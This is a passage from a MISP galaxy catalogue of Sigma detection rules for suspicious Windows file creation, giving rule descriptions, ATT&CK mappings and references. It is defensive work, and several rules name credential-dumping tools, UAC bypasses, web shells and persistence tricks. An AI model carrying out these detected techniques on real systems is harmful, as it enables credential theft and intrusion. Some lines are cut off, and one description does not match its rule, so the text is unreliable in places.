Detects the creation of a file with the ".dmp"/".hdmp" extension by a shell or scripting application such as "cmd", "powershell", etc. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash.
The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious DMP/HDMP File Creation"`

### Table 9274. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### Suspicious Executable File Creation

Detect creation of suspicious executable file name. Some strings look for suspicious file extensions, others look for filenames that exploit unquoted service paths.

The tag is: `misp-galaxy:sigma-rules="Suspicious Executable File Creation"`

**View relationships graph**

Suspicious Executable File Creation has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Hide Artifacts - T1564"` with estimative-language:likelihood-probability="almost-certain"

### Table 9275. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/">https://app.any.run/tasks/76c69e2d-01e8-49d9-9aea-fb7cc0c4d3ad/</a></td>
</tr>
</tbody>
</table>

### Potential Homoglyph Attack Using Lookalike Characters in Filename

Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters. This is used as an obfuscation and masquerading techniques. Only "perfect" homoglyphs are included; these are characters that are indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.

The tag is: `misp-galaxy:sigma-rules="Potential Homoglyph Attack Using Lookalike Characters in Filename"`

**View relationships graph**

Potential Homoglyph Attack Using Lookalike Characters in Filename has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Masquerading - T1036"` with estimative-
GatherNetworkInfo.VBS Reconnaissance Script Output

Detects creation of files which are the results of executing the built-in reconnaissance script "C:\Windows\System32\gatherNetworkInfo.vbs".

The tag is: misp-galaxy:sigma-rules="GatherNetworkInfo.VBS Reconnaissance Script Output"

LiveKD Kernel Memory Dump File Created

Detects the creation of a file that has the same name as the default LiveKD kernel memory dump.

The tag is: misp-galaxy:sigma-rules="LiveKD Kernel Memory Dump File Created"

Visual Studio Code Tunnel Remote File Creation

Detects the creation of file by the "node.exe" process in the ".vscode-server" directory. Could be a sign of remote file creation via VsCode tunnel feature.

The tag is: misp-galaxy:sigma-rules="Visual Studio Code Tunnel Remote File Creation"
Potential Persistence Via Outlook Form

Detects the creation of a new Outlook form which can contain malicious code

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via Outlook Form"

View relationships graph

Potential Persistence Via Outlook Form has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Outlook Forms - T1137.003" with estimative-language:likelihood-probability="almost-certain"

Malicious DLL File Dropped in the Teams or OneDrive Folder

Detects creation of a malicious DLL file in the location where the OneDrive or Team applications
Upon execution of the Teams or OneDrive application, the dropped malicious DLL file ("iphlpapi.dll") is sideloaded

The tag is: misp-galaxy:sigma-rules="Malicious DLL File Dropped in the Teams or OneDrive Folder"

View relationships graph

Malicious DLL File Dropped in the Teams or OneDrive Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-
Table 9281. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**UEFI Persistence Via Wpbbin - FileCreation**

Detects creation of a file named "wpbbin" in the "%systemroot%\system32\" directory. Which could be indicative of UEFI based persistence method

The tag is: *misp-galaxy:sigma-rules="UEFI Persistence Via Wpbbin - FileCreation"*

View relationships graph

UEFI Persistence Via Wpbbin - FileCreation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001" with estimative-language:likelihood-probability="almost-certain"

Table 9282. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://persistence-info.github.io/Data/wpbbin.html">https://persistence-info.github.io/Data/wpbbin.html</a></td>
</tr>
<tr>
<td><a href="https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c">https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c</a></td>
</tr>
</tbody>
</table>

**TeamViewer Remote Session**

Detects the creation of log files during a TeamViewer remote session

The tag is: *misp-galaxy:sigma-rules="TeamViewer Remote Session"*

View relationships graph

TeamViewer Remote Session has relationships with:


Table 9283. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.teamviewer.com/en-us/">https://www.teamviewer.com/en-us/</a></td>
</tr>
</tbody>
</table>
BloodHound Collection Files

Detects default file names outputted by the BloodHound collection tool SharpHound

The tag is: misp-galaxy:sigma-rules="BloodHound Collection Files"

View relationships graph

BloodHound Collection Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Trust Discovery - T1482" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 9284. Table References

Links


Creation of an WerFault.exe in Unusual Folder

Detects WerFault cooped to a suspicious folder, which could be a sign of WerFault DLL hijacking

The tag is: misp-galaxy:sigma-rules="Creation of an WerFault.exe in Unusual Folder"

View relationships graph

Creation of an WerFault.exe in Unusual Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
Table 9285. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Octopus Scanner Malware**

Detects Octopus Scanner Malware.

The tag is: *misp-galaxy: sigma-rules=* "Octopus Scanner Malware"

View relationships graph

Octopus Scanner Malware has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Supply Chain Compromise - T1195" with estimative-language:likelihood-probability="almost-certain"

Table 9286. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain">https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain</a></td>
</tr>
</tbody>
</table>

**Created Files by Microsoft Sync Center**

This rule detects suspicious files created by Microsoft Sync Center (mobsync)

The tag is: *misp-galaxy: sigma-rules=* "Created Files by Microsoft Sync Center"

View relationships graph

Created Files by Microsoft Sync Center has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9287. Table References
Suspicious Binary Writes Via AnyDesk

Detects AnyDesk writing binary files to disk other than "gcapi.dll". According to RedCanary research it is highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll, which is a legitimate DLL that is part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)

The tag is: `misp-galaxy:sigma-rules="Suspicious Binary Writes Via AnyDesk"`

View relationships graph

Suspicious Binary Writes Via AnyDesk has relationships with:


Potential RipZip Attack on Startup Folder

Detects a phishing attack which expands a ZIP file containing a malicious shortcut. If the victim expands the ZIP file via the explorer process, then the explorer process expands the malicious ZIP file and drops a malicious shortcut redirected to a backdoor into the Startup folder. Additionally, the file name of the malicious shortcut in Startup folder contains {0AFACED1-E828-11D1-9187-B532F1E9575D} meaning the folder shortcut operation.

The tag is: `misp-galaxy:sigma-rules="Potential RipZip Attack on Startup Folder"`

View relationships graph

Potential RipZip Attack on Startup Folder has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547"` with estimative-language:likelihood-probability="almost-certain"
Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream

Detects the creation of hidden file/folder with the "::$index_allocation" stream. Which can be used as a technique to prevent access to folder and files from tooling such as "explorer.exe" and "powershell.exe"

The tag is: misp-galaxy:sigma-rules="Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream"

View relationships graph

Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 9290. Table References

Links

- https://twitter.com/pfiatde/status/1681977680688738305
- https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3
- https://soroush.me/blog/2010/12/a-dotty-salty-directory-a-secret-place-in-ntfs-for-secret-files/
- https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbded3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5-create-hidden-directory-via-index_allocation
- https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/event/file_event_win_susp_hidden_dir_index_allocation.yml

Advanced IP Scanner - File Event

Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.

The tag is: misp-galaxy:sigma-rules="Advanced IP Scanner - File Event"

View relationships graph

Advanced IP Scanner - File Event has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with
UAC Bypass Using Windows Media Player - File

Detects the pattern of UAC Bypass using Windows Media Player osksupport.dll (UACMe 32)

The tag is: *misp-galaxy:sigma-rules*="UAC Bypass Using Windows Media Player - File"

View relationships graph

UAC Bypass Using Windows Media Player - File has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Bypass User Account Control - T1548.002" with *estimative-language:likelihood-probability*="almost-certain"

Malicious PowerShell Scripts - FileCreation

Detects the creation of known offensive powershell scripts used for exploitation

The tag is: *misp-galaxy:sigma-rules*="Malicious PowerShell Scripts - FileCreation"

View relationships graph

Malicious PowerShell Scripts - FileCreation has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="PowerShell - T1059.001" with *estimative-
**Suspicious File Drop by Exchange**

Detects suspicious file type dropped by an Exchange component in IIS

The tag is: `misp-galaxy:sigma-rules="Suspicious File Drop by Exchange"`

View relationships graph

Suspicious File Drop by Exchange has relationships with:
- related-to: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 9294. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Potential Binary Or Script Dropper Via PowerShell

Detects PowerShell creating a binary executable or a script file.

The tag is: misp-galaxy: sigma-rules="Potential Binary Or Script Dropper Via PowerShell"

Table 9295. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_drop_binary_or_script.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_powershell_drop_binary_or_script.yml</a></td>
</tr>
</tbody>
</table>

CSExec Service File Creation

Detects default CSExec service filename which indicates CSExec service installation and execution

The tag is: misp-galaxy: sigma-rules="CSExec Service File Creation"

View relationships graph

CSExec Service File Creation has relationships with:

Table 9296. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/malcomvetter/CSExec">https://github.com/malcomvetter/CSExec</a></td>
</tr>
</tbody>
</table>
Suspicious MSExchangeMailboxReplication ASPX Write

Detects suspicious activity in which the MSExchangeMailboxReplication process writes .asp and .apsx files to disk, which could be a sign of ProxyShell exploitation

The tag is: `misp-galaxy:sigma-rules="Suspicious MSExchangeMailboxReplication ASPX Write"`

View relationships graph

Suspicious MSExchangeMailboxReplication ASPX Write has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003"` with estimative-language:likelihood-probability="almost-certain"

Table 9297. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/blackbyte-ransomware/">https://redcanary.com/blog/blackbyte-ransomware/</a></td>
</tr>
</tbody>
</table>

Suspicious File Created In PerfLogs

Detects suspicious file based on their extension being created in "C:\PerfLogs\". Note that this directory mostly contains ".etl" files

The tag is: `misp-galaxy:sigma-rules="Suspicious File Created In PerfLogs"`

View relationships graph

Suspicious File Created In PerfLogs has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"

Table 9298. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://labs.withsecure.com/publications/fin7-target-veeam-servers">https://labs.withsecure.com/publications/fin7-target-veeam-servers</a></td>
</tr>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
</tbody>
</table>
PCRE.NET Package Temp Files

Detects processes creating temp files related to PCRE.NET package

The tag is: `misp-galaxy: sigma-rules="PCRE.NET Package Temp Files"`

View relationships graph

PCRE.NET Package Temp Files has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"

Files With System Process Name In Unsuspected Locations

Detects the creation of an executable with a system process name in folders other than the system ones (System32, Sys WOW64...etc).

The tag is: `misp-galaxy: sigma-rules="Files With System Process Name In Unsuspected Locations"`

View relationships graph

Files With System Process Name In Unsuspected Locations has relationships with:

- related-to: `misp-galaxy: mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
Cred Dump Tools Dropped Files

Files with well-known filenames (parts of credential dump software or files produced by them) creation

The tag is: misp-galaxy:.sigma-rules="Cred Dump Tools Dropped Files"

View relationships graph

Cred Dump Tools Dropped Files has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"

Table 9301. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment">https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_wincred_dump_tools_dropped_files.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_wincred_dump_tools_dropped_files.yml</a></td>
</tr>
</tbody>
</table>

PowerShell Profile Modification

Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence

The tag is: misp-galaxy:.sigma-rules="PowerShell Profile Modification"

View relationships graph

PowerShell Profile Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013" with estimative-language:likelihood-probability="almost-certain"

Table 9302. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://persistence-info.github.io/Data/powershellprofile.html">https://persistence-info.github.io/Data/powershellprofile.html</a></td>
</tr>
</tbody>
</table>
Installation of TeamViewer Desktop

TeamViewer_Desktop.exe is created during install

The tag is: `misp-galaxy:sigma-rules="Installation of TeamViewer Desktop"`

View relationships graph

Installation of TeamViewer Desktop has relationships with:


Table 9303. Table References

Links

- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057dfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-1---teamviewer-files-detected-test-on-windows

UAC Bypass Using .NET Code Profiler on MMC

Detects the pattern of UAC Bypass using .NET Code Profiler and mmc.exe DLL hijacking (UACMe 39)

The tag is: `misp-galaxy:sigma-rules="UAC Bypass Using .NET Code Profiler on MMC"`

View relationships graph

UAC Bypass Using .NET Code Profiler on MMC has relationships with:


Table 9304. Table References

Links

- https://github.com/hfiref0x/UACME
Potential Persistence Via Microsoft Office Startup Folder

Detects creation of Microsoft Office files inside of one of the default startup folders in order to achieve persistence.

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via Microsoft Office Startup Folder"

View relationships graph

Potential Persistence Via Microsoft Office Startup Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"

Table 9305. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

RDP File Creation From Suspicious Application

Detects Rclone config file being created

The tag is: misp-galaxy:sigma-rules="RDP File Creation From Suspicious Application"

Table 9306. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/">https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/</a></td>
</tr>
<tr>
<td><a href="https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/">https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/</a></td>
</tr>
</tbody>
</table>

WMI Persistence - Script Event Consumer File Write

Detects file writes of WMI script event consumer

The tag is: misp-galaxy:sigma-rules="WMI Persistence - Script Event Consumer File Write"

View relationships graph

WMI Persistence - Script Event Consumer File Write has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 9307. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/">https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/</a></td>
<td></td>
</tr>
</tbody>
</table>

**Potential DCOM InternetExplorer.Application DLL Hijack**

Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class over the network

The tag is: *misp-galaxy: sigma-rules="Potential DCOM InternetExplorer.Application DLL Hijack"*

View relationships graph

Potential DCOM InternetExplorer.Application DLL Hijack has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 9308. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**Suspicious desktop.ini Action**

Detects unusual processes accessing desktop.ini, which can be leveraged to alter how Explorer displays a folder's content (i.e. renaming files) without changing them on disk.

The tag is: *misp-galaxy: sigma-rules="Suspicious desktop.ini Action"*

View relationships graph

Suspicious desktop.ini Action has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
Drop Binaries Into Spool Drivers Color Folder

Detects the creation of suspicious binary files inside the "\windows\system32\spool\drivers\color" as seen in the blog referenced below

The tag is: *misp-galaxy:sigma-rules*="Drop Binaries Into Spool Drivers Color Folder"

Potential Winnti Dropper Activity

Detects files dropped by Winnti as described in RedMimicry Winnti playbook

The tag is: *misp-galaxy:sigma-rules*="Potential Winnti Dropper Activity"

View relationships graph

Potential Winnti Dropper Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

Suspicious PFX File Creation

A general detection for processes creating PFX files. This could be an indicator of an adversary exporting a local certificate to a PFX file.

The tag is: *misp-galaxy:sigma-rules*="Suspicious PFX File Creation"
Suspicious PFX File Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

Table 9312. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/OTRF/detection-hackathon-apt29/issues/14">https://github.com/OTRF/detection-hackathon-apt29/issues/14</a></td>
</tr>
<tr>
<td><a href="https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.md">https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/6.B.1_6392C9F1-D975-4F75-8A70-433DEDD7F622.md</a></td>
</tr>
</tbody>
</table>

File Creation In Suspicious Directory By Msdt.EXE

Detects msdt.exe creating files in suspicious directories which could be a sign of exploitation of either Follina or Dogwalk vulnerabilities

The tag is: misp-galaxy:sigma-rules="File Creation In Suspicious Directory By Msdt.EXE"

Suspicious DotNET CLR Usage Log Artifact

Detects the creation of Usage Log files by the CLR (clr.dll). These files are named after the executing process once the assembly is finished executing for the first time in the (user) session context.

The tag is: misp-galaxy:sigma-rules="Suspicious DotNET CLR Usage Log Artifact"
Suspicious DotNET CLR Usage Log Artifact has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9314. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/">https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/</a></td>
</tr>
<tr>
<td><a href="https://github.com/olafhartong/sysmon-modular/blob/fa1ae53132403d262be2bbd7f17ceea7e15e8c78/11_file_create/include_dotnet.xml">https://github.com/olafhartong/sysmon-modular/blob/fa1ae53132403d262be2bbd7f17ceea7e15e8c78/11_file_create/include_dotnet.xml</a></td>
</tr>
<tr>
<td><a href="https://web.archive.org/web/20221026202428/https://gist.github.com/codescrap/d7f152ffcdb3e0b02f7f394f5187f008">https://web.archive.org/web/20221026202428/https://gist.github.com/codescrap/d7f152ffcdb3e0b02f7f394f5187f008</a></td>
</tr>
</tbody>
</table>

Inveigh Execution Artefacts

Detects the presence and execution of Inveigh via dropped artefacts

The tag is: misp-galaxy:sigma-rules="Inveigh Execution Artefacts"

View relationships graph

Inveigh Execution Artefacts has relationships with:


Table 9315. Table References

Links

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs">https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs</a></td>
</tr>
<tr>
<td><a href="https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs">https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs</a></td>
</tr>
</tbody>
</table>

UAC Bypass Using EventVwr

Detects the pattern of a UAC bypass using Windows Event Viewer
Table 9316. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/splinter_code/status/1519075134296006662?s=12&amp;t=DLUXH86Wtcmg_AZ5gY3C6g">https://twitter.com/splinter_code/status/1519075134296006662?s=12&amp;t=DLUXH86Wtcmg_AZ5gY3C6g</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute">https://lolbas-project.github.io/lolbas/Binaries/Eventvwr/#execute</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/orange_8361/status/1518970259868626944?s=20&amp;t=RFXqZjtA7tWM3HxqEH78Aw">https://twitter.com/orange_8361/status/1518970259868626944?s=20&amp;t=RFXqZjtA7tWM3HxqEH78Aw</a></td>
</tr>
</tbody>
</table>

**Suspicious ASPX File Drop by Exchange**

Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder

The tag is: *misp-galaxy:sigma-rules*="Suspicious ASPX File Drop by Exchange"

View relationships graph

Suspicious ASPX File Drop by Exchange has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

Table 9317. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Adwind RAT / JRAT File Artifact**

Detects javaw.exe in AppData folder as used by Adwind / JRAT

The tag is: *misp-galaxy:sigma-rules*="Adwind RAT / JRAT File Artifact"

View relationships graph

Adwind RAT / JRAT File Artifact has relationships with:
related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

Table 9318. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100">https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100</a></td>
</tr>
</tbody>
</table>

HackTool - Dumpert Process Dumper Default File

Detects the creation of the default dump file used by Outflank Dumpert tool. A process dumper, which dumps the lsass process memory

The tag is: misp-galaxy:sigma-rules="HackTool - Dumpert Process Dumper Default File"

View relationships graph

HackTool - Dumpert Process Dumper Default File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 9319. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/">https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/</a></td>
</tr>
<tr>
<td><a href="https://github.com/outflanknl/Dumpert">https://github.com/outflanknl/Dumpert</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_dumpert.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/file/file_event/file_event_win_hktl_dumpert.yml</a></td>
</tr>
</tbody>
</table>

LSASS Process Dump Artefact In CrashDumps Folder

Detects the presence of an LSASS dump file in the "CrashDumps" folder. This could be a sign of LSASS credential dumping. Techniques such as the LSASS Shtinkering have been seen abusing the Windows Error Reporting to dump said process.

The tag is: misp-galaxy:sigma-rules="LSASS Process Dump Artefact In CrashDumps Folder"

View relationships graph
LSASS Process Dump Artefact In CrashDumps Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

### Table 9320. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/deepinstinct/Lsass-Shtinkering">https://github.com/deepinstinct/Lsass-Shtinkering</a></td>
</tr>
<tr>
<td><a href="https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf">https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf</a></td>
</tr>
</tbody>
</table>

### Anydesk Temporary Artefact

An adversary may use legitimate desktop support and remote access software, such as TeamViewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

The tag is: `misp-galaxy:sigma-rules="Anydesk Temporary Artefact"`

View relationships graph

Anydesk Temporary Artefact has relationships with:


### Table 9321. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f8f3ddd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f8f3ddd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows</a></td>
</tr>
</tbody>
</table>
Process Monitor Driver Creation By Non-Sysinternals Binary

Detects creation of the Process Monitor driver by processes other than Process Monitor (procmon) itself.

The tag is: misp-galaxy:sigma-rules="Process Monitor Driver Creation By Non-Sysinternals Binary"

View relationships graph

Process Monitor Driver Creation By Non-Sysinternals Binary has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 9322. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
